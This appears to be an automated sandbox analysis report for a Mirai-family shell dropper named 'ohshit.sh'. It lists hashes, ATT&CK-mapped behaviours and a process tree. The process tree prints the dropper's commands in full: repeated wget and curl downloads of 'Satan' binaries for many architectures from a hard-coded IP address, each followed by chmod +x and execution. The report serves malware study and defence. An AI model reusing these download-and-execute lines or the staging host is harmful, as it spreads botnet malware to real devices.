Analysis
-
max time kernel
139s -
max time network
149s -
platform
ubuntu-18.04_amd64 -
resource
ubuntu1804-amd64-20240611-en -
resource tags
arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system -
submitted
20-11-2024 22:57
Static task
static1
Behavioral task
behavioral1
Sample
ohshit.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
ohshit.sh
Resource
debian9-armhf-20240729-en
Behavioral task
behavioral3
Sample
ohshit.sh
Resource
debian9-mipsbe-20240611-en
General
-
Target
ohshit.sh
-
Size
2KB
-
MD5
f9c8b9116a6544ef8d58828792753e7c
-
SHA1
5c6d5022d286ea418696cb67741df180e5cfc9b4
-
SHA256
9728623b44f5e32acfd770915d4d1b244997a757b4bdf01e5259bcdf9918784b
-
SHA512
e4c10931ad880f64cd284648287324beb72b76adfbfc55e90abac1c868c00d4209be1b98c3c50fd7c9b1a572a67feefadf74f5c817126a922001ce1f44e7f43e
Malware Config
Extracted
mirai
LZRD
Extracted
mirai
LZRD
Signatures
-
Mirai family
-
File and Directory Permissions Modification 1 TTPs 15 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 1592 chmod 1642 chmod 1514 chmod 1520 chmod 1530 chmod 1540 chmod 1562 chmod 1582 chmod 1602 chmod 1632 chmod 1652 chmod 1550 chmod 1572 chmod 1612 chmod 1622 chmod -
Executes dropped EXE 15 IoCs
ioc pid Process /tmp/Satan 1515 Satan /tmp/Satan 1521 Satan /tmp/Satan 1531 Satan /tmp/Satan 1541 Satan /tmp/Satan 1551 Satan /tmp/Satan 1563 Satan /tmp/Satan 1573 Satan /tmp/Satan 1583 Satan /tmp/Satan 1593 Satan /tmp/Satan 1603 Satan /tmp/Satan 1613 Satan /tmp/Satan 1623 Satan /tmp/Satan 1633 Satan /tmp/Satan 1643 Satan /tmp/Satan 1653 Satan -
Modifies Watchdog functionality 1 TTPs 28 IoCs
Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.
description ioc Process File opened for modification /dev/misc/watchdog Satan File opened for modification /dev/misc/watchdog Satan File opened for modification /dev/watchdog Satan File opened for modification /dev/misc/watchdog Satan File opened for modification /dev/misc/watchdog Satan File opened for modification /dev/watchdog Satan File opened for modification /dev/misc/watchdog Satan File opened for modification /dev/watchdog Satan File opened for modification /dev/watchdog Satan File opened for modification /dev/misc/watchdog Satan File opened for modification /dev/watchdog Satan File opened for modification /dev/misc/watchdog Satan File opened for modification /dev/watchdog Satan File opened for modification /dev/watchdog Satan File opened for modification /dev/watchdog Satan File opened for modification /dev/misc/watchdog Satan File opened for modification /dev/watchdog Satan File opened for modification /dev/watchdog Satan File opened for modification /dev/misc/watchdog Satan File opened for modification /dev/misc/watchdog Satan File opened for modification /dev/misc/watchdog Satan File opened for modification /dev/misc/watchdog Satan File opened for modification /dev/watchdog Satan File opened for modification /dev/watchdog Satan File opened for modification /dev/watchdog Satan File opened for modification /dev/watchdog Satan File opened for modification /dev/misc/watchdog Satan File opened for modification /dev/misc/watchdog Satan -
Enumerates running processes
Discovers information about currently running processes on the system
-
Writes file to system bin folder 28 IoCs
description ioc Process File opened for modification /sbin/watchdog Satan File opened for modification /bin/watchdog Satan File opened for modification /bin/watchdog Satan File opened for modification /sbin/watchdog Satan File opened for modification /sbin/watchdog Satan File opened for modification /bin/watchdog Satan File opened for modification /bin/watchdog Satan File opened for modification /bin/watchdog Satan File opened for modification /bin/watchdog Satan File opened for modification /sbin/watchdog Satan File opened for modification /bin/watchdog Satan File opened for modification /sbin/watchdog Satan File opened for modification /bin/watchdog Satan File opened for modification /sbin/watchdog Satan File opened for modification /sbin/watchdog Satan File opened for modification /bin/watchdog Satan File opened for modification /sbin/watchdog Satan File opened for modification /sbin/watchdog Satan File opened for modification /sbin/watchdog Satan File opened for modification /bin/watchdog Satan File opened for modification /sbin/watchdog Satan File opened for modification /bin/watchdog Satan File opened for modification /bin/watchdog Satan File opened for modification /sbin/watchdog Satan File opened for modification /sbin/watchdog Satan File opened for modification /bin/watchdog Satan File opened for modification /bin/watchdog Satan File opened for modification /sbin/watchdog Satan -
resource yara_rule behavioral1/files/fstream-5.dat upx -
description ioc Process File opened for reading /proc/9/status Satan File opened for reading /proc/1184/status Satan File opened for reading /proc/948/status Satan File opened for reading /proc/1153/status Satan File opened for reading /proc/1058/status Satan File opened for reading /proc/1072/status Satan File opened for reading /proc/10/status Satan File opened for reading /proc/1292/status Satan File opened for reading /proc/1308/status Satan File opened for reading /proc/6/status Satan File opened for reading /proc/1197/status Satan File opened for reading /proc/1183/status Satan File opened for reading /proc/1247/status Satan File opened for reading /proc/1558/status Satan File opened for reading /proc/1346/status Satan File opened for reading /proc/1197/status Satan File opened for reading /proc/954/status Satan File opened for reading /proc/21/status Satan File opened for reading /proc/84/status Satan File opened for reading /proc/170/status Satan File opened for reading /proc/19/status Satan File opened for reading /proc/171/status Satan File opened for reading /proc/972/status Satan File opened for reading /proc/34/status Satan File opened for reading /proc/5/status Satan File opened for reading /proc/177/status Satan File opened for reading /proc/212/status Satan File opened for reading /proc/1308/status Satan File opened for reading /proc/30/status Satan File opened for reading /proc/972/status Satan File opened for reading /proc/1248/status Satan File opened for reading /proc/172/status Satan File opened for reading /proc/1119/status Satan File opened for reading /proc/170/status Satan File opened for reading /proc/1029/status Satan File opened for reading /proc/28/status Satan File opened for reading /proc/85/status Satan File opened for reading /proc/1586/status Satan File opened for reading /proc/9/status Satan File opened for reading /proc/1153/status Satan File opened for reading /proc/12/status Satan File opened for reading /proc/1596/status Satan File opened for reading /proc/1168/status Satan File opened for reading /proc/1544/status Satan File opened for reading /proc/20/status Satan File opened for reading /proc/5/status Satan File opened for reading /proc/469/status Satan File opened for reading /proc/32/status Satan File opened for reading /proc/1082/status Satan File opened for reading /proc/1576/status Satan File opened for reading /proc/34/status Satan File opened for reading /proc/554/status Satan File opened for reading /proc/1105/status Satan File opened for reading /proc/36/status Satan File opened for reading /proc/7/status Satan File opened for reading /proc/82/status Satan File opened for reading /proc/1148/status Satan File opened for reading /proc/1192/status Satan File opened for reading /proc/613/status Satan File opened for reading /proc/723/status Satan File opened for reading /proc/135/status Satan File opened for reading /proc/171/status Satan File opened for reading /proc/1167/status Satan File opened for reading /proc/673/status Satan -
System Network Configuration Discovery 1 TTPs 4 IoCs
Adversaries may gather information about the network configuration of a system.
pid Process 1547 wget 1548 curl 1559 wget 1560 curl -
Writes file to tmp directory 30 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/Satan.mips64 curl File opened for modification /tmp/Satan.mips curl File opened for modification /tmp/Satan.arm5 wget File opened for modification /tmp/Satan.arm5 curl File opened for modification /tmp/Satan.ppc curl File opened for modification /tmp/Satan.m68k wget File opened for modification /tmp/Satan.x86_64 curl File opened for modification /tmp/Satan.arm curl File opened for modification /tmp/Satan.arm7 wget File opened for modification /tmp/Satan.x86 curl File opened for modification /tmp/Satan.i686 wget File opened for modification /tmp/Satan.arm6 curl File opened for modification /tmp/Satan.sh4 wget File opened for modification /tmp/Satan.arc wget File opened for modification /tmp/Satan.x86 wget File opened for modification /tmp/Satan.mips wget File opened for modification /tmp/Satan.mpsl curl File opened for modification /tmp/Satan.arm wget File opened for modification /tmp/Satan.arm6 wget File opened for modification /tmp/Satan.ppc wget File opened for modification /tmp/Satan.sparc curl File opened for modification /tmp/busybox cp File opened for modification /tmp/Satan.mpsl wget File opened for modification /tmp/Satan.arm7 curl File opened for modification /tmp/Satan.m68k curl File opened for modification /tmp/Satan.arc curl File opened for modification /tmp/Satan.sh4 curl File opened for modification /tmp/Satan.i686 curl File opened for modification /tmp/Satan.x86_64 wget File opened for modification /tmp/Satan ohshit.sh
Processes
-
/tmp/ohshit.sh/tmp/ohshit.sh1⤵
- Writes file to tmp directory
PID:1505 -
/bin/cpcp /bin/busybox /tmp/2⤵
- Writes file to tmp directory
PID:1506
-
-
/usr/bin/wgetwget http://193.84.71.119/nice/Satan.arc2⤵
- Writes file to tmp directory
PID:1507
-
-
/usr/bin/curlcurl -O http://193.84.71.119/nice/Satan.arc2⤵
- Writes file to tmp directory
PID:1512
-
-
/bin/catcat Satan.arc2⤵PID:1513
-
-
/bin/chmodchmod +x busybox config-err-YvAF7p netplan_3yg3w1r3 ohshit.sh Satan Satan.arc snap-private-tmp ssh-N29aQDHlpq0p systemd-private-f361587230ee480e9c0796bd45f0999b-bolt.service-9JZRxt systemd-private-f361587230ee480e9c0796bd45f0999b-colord.service-JSsEOw systemd-private-f361587230ee480e9c0796bd45f0999b-ModemManager.service-lFa7oV systemd-private-f361587230ee480e9c0796bd45f0999b-systemd-resolved.service-dTi7u9 systemd-private-f361587230ee480e9c0796bd45f0999b-systemd-timedated.service-8oRI1K2⤵
- File and Directory Permissions Modification
PID:1514
-
-
/tmp/Satan./Satan2⤵
- Executes dropped EXE
PID:1515
-
-
/usr/bin/wgetwget http://193.84.71.119/nice/Satan.x862⤵
- Writes file to tmp directory
PID:1517
-
-
/usr/bin/curlcurl -O http://193.84.71.119/nice/Satan.x862⤵
- Writes file to tmp directory
PID:1518
-
-
/bin/catcat Satan.x862⤵PID:1519
-
-
/bin/chmodchmod +x busybox config-err-YvAF7p netplan_3yg3w1r3 ohshit.sh Satan Satan.arc Satan.x86 snap-private-tmp ssh-N29aQDHlpq0p systemd-private-f361587230ee480e9c0796bd45f0999b-bolt.service-9JZRxt systemd-private-f361587230ee480e9c0796bd45f0999b-colord.service-JSsEOw systemd-private-f361587230ee480e9c0796bd45f0999b-ModemManager.service-lFa7oV systemd-private-f361587230ee480e9c0796bd45f0999b-systemd-resolved.service-dTi7u9 systemd-private-f361587230ee480e9c0796bd45f0999b-systemd-timedated.service-8oRI1K2⤵
- File and Directory Permissions Modification
PID:1520
-
-
/tmp/Satan./Satan2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1521
-
-
/usr/bin/wgetwget http://193.84.71.119/nice/Satan.x86_642⤵
- Writes file to tmp directory
PID:1527
-
-
/usr/bin/curlcurl -O http://193.84.71.119/nice/Satan.x86_642⤵
- Writes file to tmp directory
PID:1528
-
-
/bin/chmodchmod +x busybox config-err-YvAF7p netplan_3yg3w1r3 ohshit.sh Satan Satan.arc Satan.x86 Satan.x86_64 snap-private-tmp ssh-N29aQDHlpq0p systemd-private-f361587230ee480e9c0796bd45f0999b-bolt.service-9JZRxt systemd-private-f361587230ee480e9c0796bd45f0999b-colord.service-JSsEOw systemd-private-f361587230ee480e9c0796bd45f0999b-ModemManager.service-lFa7oV systemd-private-f361587230ee480e9c0796bd45f0999b-systemd-resolved.service-dTi7u9 systemd-private-f361587230ee480e9c0796bd45f0999b-systemd-timedated.service-8oRI1K2⤵
- File and Directory Permissions Modification
PID:1530
-
-
/tmp/Satan./Satan2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1531
-
-
/usr/bin/wgetwget http://193.84.71.119/nice/Satan.i6862⤵
- Writes file to tmp directory
PID:1537
-
-
/usr/bin/curlcurl -O http://193.84.71.119/nice/Satan.i6862⤵
- Writes file to tmp directory
PID:1538
-
-
/bin/chmodchmod +x busybox config-err-YvAF7p netplan_3yg3w1r3 ohshit.sh Satan Satan.arc Satan.i686 Satan.x86 Satan.x86_64 snap-private-tmp ssh-N29aQDHlpq0p systemd-private-f361587230ee480e9c0796bd45f0999b-bolt.service-9JZRxt systemd-private-f361587230ee480e9c0796bd45f0999b-colord.service-JSsEOw systemd-private-f361587230ee480e9c0796bd45f0999b-ModemManager.service-lFa7oV systemd-private-f361587230ee480e9c0796bd45f0999b-systemd-resolved.service-dTi7u9 systemd-private-f361587230ee480e9c0796bd45f0999b-systemd-timedated.service-8oRI1K2⤵
- File and Directory Permissions Modification
PID:1540
-
-
/tmp/Satan./Satan2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1541
-
-
/usr/bin/wgetwget http://193.84.71.119/nice/Satan.mips2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:1547
-
-
/usr/bin/curlcurl -O http://193.84.71.119/nice/Satan.mips2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:1548
-
-
/bin/chmodchmod +x busybox config-err-YvAF7p netplan_3yg3w1r3 ohshit.sh Satan Satan.arc Satan.i686 Satan.mips Satan.x86 Satan.x86_64 snap-private-tmp ssh-N29aQDHlpq0p systemd-private-f361587230ee480e9c0796bd45f0999b-bolt.service-9JZRxt systemd-private-f361587230ee480e9c0796bd45f0999b-colord.service-JSsEOw systemd-private-f361587230ee480e9c0796bd45f0999b-ModemManager.service-lFa7oV systemd-private-f361587230ee480e9c0796bd45f0999b-systemd-resolved.service-dTi7u9 systemd-private-f361587230ee480e9c0796bd45f0999b-systemd-timedated.service-8oRI1K2⤵
- File and Directory Permissions Modification
PID:1550
-
-
/tmp/Satan./Satan2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1551
-
-
/usr/bin/wgetwget http://193.84.71.119/nice/Satan.mips642⤵
- System Network Configuration Discovery
PID:1559
-
-
/usr/bin/curlcurl -O http://193.84.71.119/nice/Satan.mips642⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:1560
-
-
/bin/chmodchmod +x busybox config-err-YvAF7p netplan_3yg3w1r3 ohshit.sh Satan Satan.arc Satan.i686 Satan.mips Satan.mips64 Satan.x86 Satan.x86_64 snap-private-tmp ssh-N29aQDHlpq0p systemd-private-f361587230ee480e9c0796bd45f0999b-bolt.service-9JZRxt systemd-private-f361587230ee480e9c0796bd45f0999b-colord.service-JSsEOw systemd-private-f361587230ee480e9c0796bd45f0999b-ModemManager.service-lFa7oV systemd-private-f361587230ee480e9c0796bd45f0999b-systemd-resolved.service-dTi7u92⤵
- File and Directory Permissions Modification
PID:1562
-
-
/tmp/Satan./Satan2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1563
-
-
/usr/bin/wgetwget http://193.84.71.119/nice/Satan.mpsl2⤵
- Writes file to tmp directory
PID:1569
-
-
/usr/bin/curlcurl -O http://193.84.71.119/nice/Satan.mpsl2⤵
- Writes file to tmp directory
PID:1570
-
-
/bin/chmodchmod +x busybox config-err-YvAF7p netplan_3yg3w1r3 ohshit.sh Satan Satan.arc Satan.i686 Satan.mips Satan.mips64 Satan.mpsl Satan.x86 Satan.x86_64 snap-private-tmp ssh-N29aQDHlpq0p systemd-private-f361587230ee480e9c0796bd45f0999b-bolt.service-9JZRxt systemd-private-f361587230ee480e9c0796bd45f0999b-colord.service-JSsEOw systemd-private-f361587230ee480e9c0796bd45f0999b-ModemManager.service-lFa7oV systemd-private-f361587230ee480e9c0796bd45f0999b-systemd-resolved.service-dTi7u92⤵
- File and Directory Permissions Modification
PID:1572
-
-
/tmp/Satan./Satan2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1573
-
-
/usr/bin/wgetwget http://193.84.71.119/nice/Satan.arm2⤵
- Writes file to tmp directory
PID:1579
-
-
/usr/bin/curlcurl -O http://193.84.71.119/nice/Satan.arm2⤵
- Writes file to tmp directory
PID:1580
-
-
/bin/chmodchmod +x busybox config-err-YvAF7p netplan_3yg3w1r3 ohshit.sh Satan Satan.arc Satan.arm Satan.i686 Satan.mips Satan.mips64 Satan.mpsl Satan.x86 Satan.x86_64 snap-private-tmp ssh-N29aQDHlpq0p systemd-private-f361587230ee480e9c0796bd45f0999b-bolt.service-9JZRxt systemd-private-f361587230ee480e9c0796bd45f0999b-colord.service-JSsEOw systemd-private-f361587230ee480e9c0796bd45f0999b-ModemManager.service-lFa7oV systemd-private-f361587230ee480e9c0796bd45f0999b-systemd-resolved.service-dTi7u92⤵
- File and Directory Permissions Modification
PID:1582
-
-
/tmp/Satan./Satan2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1583
-
-
/usr/bin/wgetwget http://193.84.71.119/nice/Satan.arm52⤵
- Writes file to tmp directory
PID:1589
-
-
/usr/bin/curlcurl -O http://193.84.71.119/nice/Satan.arm52⤵
- Writes file to tmp directory
PID:1590
-
-
/bin/chmodchmod +x busybox config-err-YvAF7p netplan_3yg3w1r3 ohshit.sh Satan Satan.arc Satan.arm Satan.arm5 Satan.i686 Satan.mips Satan.mips64 Satan.mpsl Satan.x86 Satan.x86_64 snap-private-tmp ssh-N29aQDHlpq0p systemd-private-f361587230ee480e9c0796bd45f0999b-bolt.service-9JZRxt systemd-private-f361587230ee480e9c0796bd45f0999b-colord.service-JSsEOw systemd-private-f361587230ee480e9c0796bd45f0999b-ModemManager.service-lFa7oV systemd-private-f361587230ee480e9c0796bd45f0999b-systemd-resolved.service-dTi7u92⤵
- File and Directory Permissions Modification
PID:1592
-
-
/tmp/Satan./Satan2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1593
-
-
/usr/bin/wgetwget http://193.84.71.119/nice/Satan.arm62⤵
- Writes file to tmp directory
PID:1599
-
-
/usr/bin/curlcurl -O http://193.84.71.119/nice/Satan.arm62⤵
- Writes file to tmp directory
PID:1600
-
-
/bin/chmodchmod +x busybox config-err-YvAF7p netplan_3yg3w1r3 ohshit.sh Satan Satan.arc Satan.arm Satan.arm5 Satan.arm6 Satan.i686 Satan.mips Satan.mips64 Satan.mpsl Satan.x86 Satan.x86_64 snap-private-tmp ssh-N29aQDHlpq0p systemd-private-f361587230ee480e9c0796bd45f0999b-bolt.service-9JZRxt systemd-private-f361587230ee480e9c0796bd45f0999b-colord.service-JSsEOw systemd-private-f361587230ee480e9c0796bd45f0999b-ModemManager.service-lFa7oV systemd-private-f361587230ee480e9c0796bd45f0999b-systemd-resolved.service-dTi7u92⤵
- File and Directory Permissions Modification
PID:1602
-
-
/tmp/Satan./Satan2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1603
-
-
/usr/bin/wgetwget http://193.84.71.119/nice/Satan.arm72⤵
- Writes file to tmp directory
PID:1609
-
-
/usr/bin/curlcurl -O http://193.84.71.119/nice/Satan.arm72⤵
- Writes file to tmp directory
PID:1610
-
-
/bin/chmodchmod +x busybox config-err-YvAF7p netplan_3yg3w1r3 ohshit.sh Satan Satan.arc Satan.arm Satan.arm5 Satan.arm6 Satan.arm7 Satan.i686 Satan.mips Satan.mips64 Satan.mpsl Satan.x86 Satan.x86_64 snap-private-tmp ssh-N29aQDHlpq0p systemd-private-f361587230ee480e9c0796bd45f0999b-bolt.service-9JZRxt systemd-private-f361587230ee480e9c0796bd45f0999b-colord.service-JSsEOw systemd-private-f361587230ee480e9c0796bd45f0999b-ModemManager.service-lFa7oV systemd-private-f361587230ee480e9c0796bd45f0999b-systemd-resolved.service-dTi7u92⤵
- File and Directory Permissions Modification
PID:1612
-
-
/tmp/Satan./Satan2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1613
-
-
/usr/bin/wgetwget http://193.84.71.119/nice/Satan.ppc2⤵
- Writes file to tmp directory
PID:1619
-
-
/usr/bin/curlcurl -O http://193.84.71.119/nice/Satan.ppc2⤵
- Writes file to tmp directory
PID:1620
-
-
/bin/chmodchmod +x busybox config-err-YvAF7p netplan_3yg3w1r3 ohshit.sh Satan Satan.arc Satan.arm Satan.arm5 Satan.arm6 Satan.arm7 Satan.i686 Satan.mips Satan.mips64 Satan.mpsl Satan.ppc Satan.x86 Satan.x86_64 snap-private-tmp ssh-N29aQDHlpq0p systemd-private-f361587230ee480e9c0796bd45f0999b-bolt.service-9JZRxt systemd-private-f361587230ee480e9c0796bd45f0999b-colord.service-JSsEOw systemd-private-f361587230ee480e9c0796bd45f0999b-ModemManager.service-lFa7oV systemd-private-f361587230ee480e9c0796bd45f0999b-systemd-resolved.service-dTi7u92⤵
- File and Directory Permissions Modification
PID:1622
-
-
/tmp/Satan./Satan2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1623
-
-
/usr/bin/wgetwget http://193.84.71.119/nice/Satan.sparc2⤵PID:1629
-
-
/usr/bin/curlcurl -O http://193.84.71.119/nice/Satan.sparc2⤵
- Writes file to tmp directory
PID:1630
-
-
/bin/chmodchmod +x busybox config-err-YvAF7p netplan_3yg3w1r3 ohshit.sh Satan Satan.arc Satan.arm Satan.arm5 Satan.arm6 Satan.arm7 Satan.i686 Satan.mips Satan.mips64 Satan.mpsl Satan.ppc Satan.sparc Satan.x86 Satan.x86_64 snap-private-tmp ssh-N29aQDHlpq0p systemd-private-f361587230ee480e9c0796bd45f0999b-bolt.service-9JZRxt systemd-private-f361587230ee480e9c0796bd45f0999b-colord.service-JSsEOw systemd-private-f361587230ee480e9c0796bd45f0999b-ModemManager.service-lFa7oV systemd-private-f361587230ee480e9c0796bd45f0999b-systemd-resolved.service-dTi7u92⤵
- File and Directory Permissions Modification
PID:1632
-
-
/tmp/Satan./Satan2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1633
-
-
/usr/bin/wgetwget http://193.84.71.119/nice/Satan.m68k2⤵
- Writes file to tmp directory
PID:1639
-
-
/usr/bin/curlcurl -O http://193.84.71.119/nice/Satan.m68k2⤵
- Writes file to tmp directory
PID:1640
-
-
/bin/chmodchmod +x busybox config-err-YvAF7p netplan_3yg3w1r3 ohshit.sh Satan Satan.arc Satan.arm Satan.arm5 Satan.arm6 Satan.arm7 Satan.i686 Satan.m68k Satan.mips Satan.mips64 Satan.mpsl Satan.ppc Satan.sparc Satan.x86 Satan.x86_64 snap-private-tmp ssh-N29aQDHlpq0p systemd-private-f361587230ee480e9c0796bd45f0999b-bolt.service-9JZRxt systemd-private-f361587230ee480e9c0796bd45f0999b-colord.service-JSsEOw systemd-private-f361587230ee480e9c0796bd45f0999b-ModemManager.service-lFa7oV systemd-private-f361587230ee480e9c0796bd45f0999b-systemd-resolved.service-dTi7u92⤵
- File and Directory Permissions Modification
PID:1642
-
-
/tmp/Satan./Satan2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1643
-
-
/usr/bin/wgetwget http://193.84.71.119/nice/Satan.sh42⤵
- Writes file to tmp directory
PID:1649
-
-
/usr/bin/curlcurl -O http://193.84.71.119/nice/Satan.sh42⤵
- Writes file to tmp directory
PID:1650
-
-
/bin/chmodchmod +x busybox config-err-YvAF7p netplan_3yg3w1r3 ohshit.sh Satan Satan.arc Satan.arm Satan.arm5 Satan.arm6 Satan.arm7 Satan.i686 Satan.m68k Satan.mips Satan.mips64 Satan.mpsl Satan.ppc Satan.sh4 Satan.sparc Satan.x86 Satan.x86_64 snap-private-tmp ssh-N29aQDHlpq0p systemd-private-f361587230ee480e9c0796bd45f0999b-bolt.service-9JZRxt systemd-private-f361587230ee480e9c0796bd45f0999b-colord.service-JSsEOw systemd-private-f361587230ee480e9c0796bd45f0999b-ModemManager.service-lFa7oV systemd-private-f361587230ee480e9c0796bd45f0999b-systemd-resolved.service-dTi7u92⤵
- File and Directory Permissions Modification
PID:1652
-
-
/tmp/Satan./Satan2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1653
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
37KB
MD5edf612986dba9abff11a7530fa06d3c2
SHA1c39e5ecf48ed660df4c93353744955bebfb91636
SHA256d7800781555066e97a3165a99ca416c452f0d60d9160fdcc62e842311c8664f0
SHA5120dd292e9760c9ac15b06809133d8296f21250085c803585be73abcd1d1faacbf07bb28a0703943f65c0bc66e0c6311b3342a1c39e118dfae6491b5f7b7eeda9f
-
Filesize
113KB
MD59de12c22a69d095a6338587f24e647d6
SHA1ebfed805c282dad0b14dff439244389eba88e1f3
SHA25674843b368ce9364f2e19a07dcd1f51e7a066da82dfdbddd71a0329fd1b13850a
SHA512bcc5ea5ab6596a9dc8cf5a68c43e33b5a1535eef962a46f0a61ecdc78b8df42b1eac717d7e2fb398b8b88150499057c4cedbda1d3c2de664d5523f117e834c1f
-
Filesize
2.0MB
MD5b4dede5fc0b1bad5cb8e901bde126b97
SHA110cbe9a418ad84a1ed297948539d37aeb58dd810
SHA256a9f0735d28f9a6a4f2634d3b144156f7b3df3b476a16a5ab0c7bdf98d74dd020
SHA51245665ce3a42f63a01fdef517e0c4cb943efce64c8a32d3ce07ab4f1fafc23cda77f378d324342efc79dc9d2293c4b4454d06c1cf4997b9e866784de01cb546e6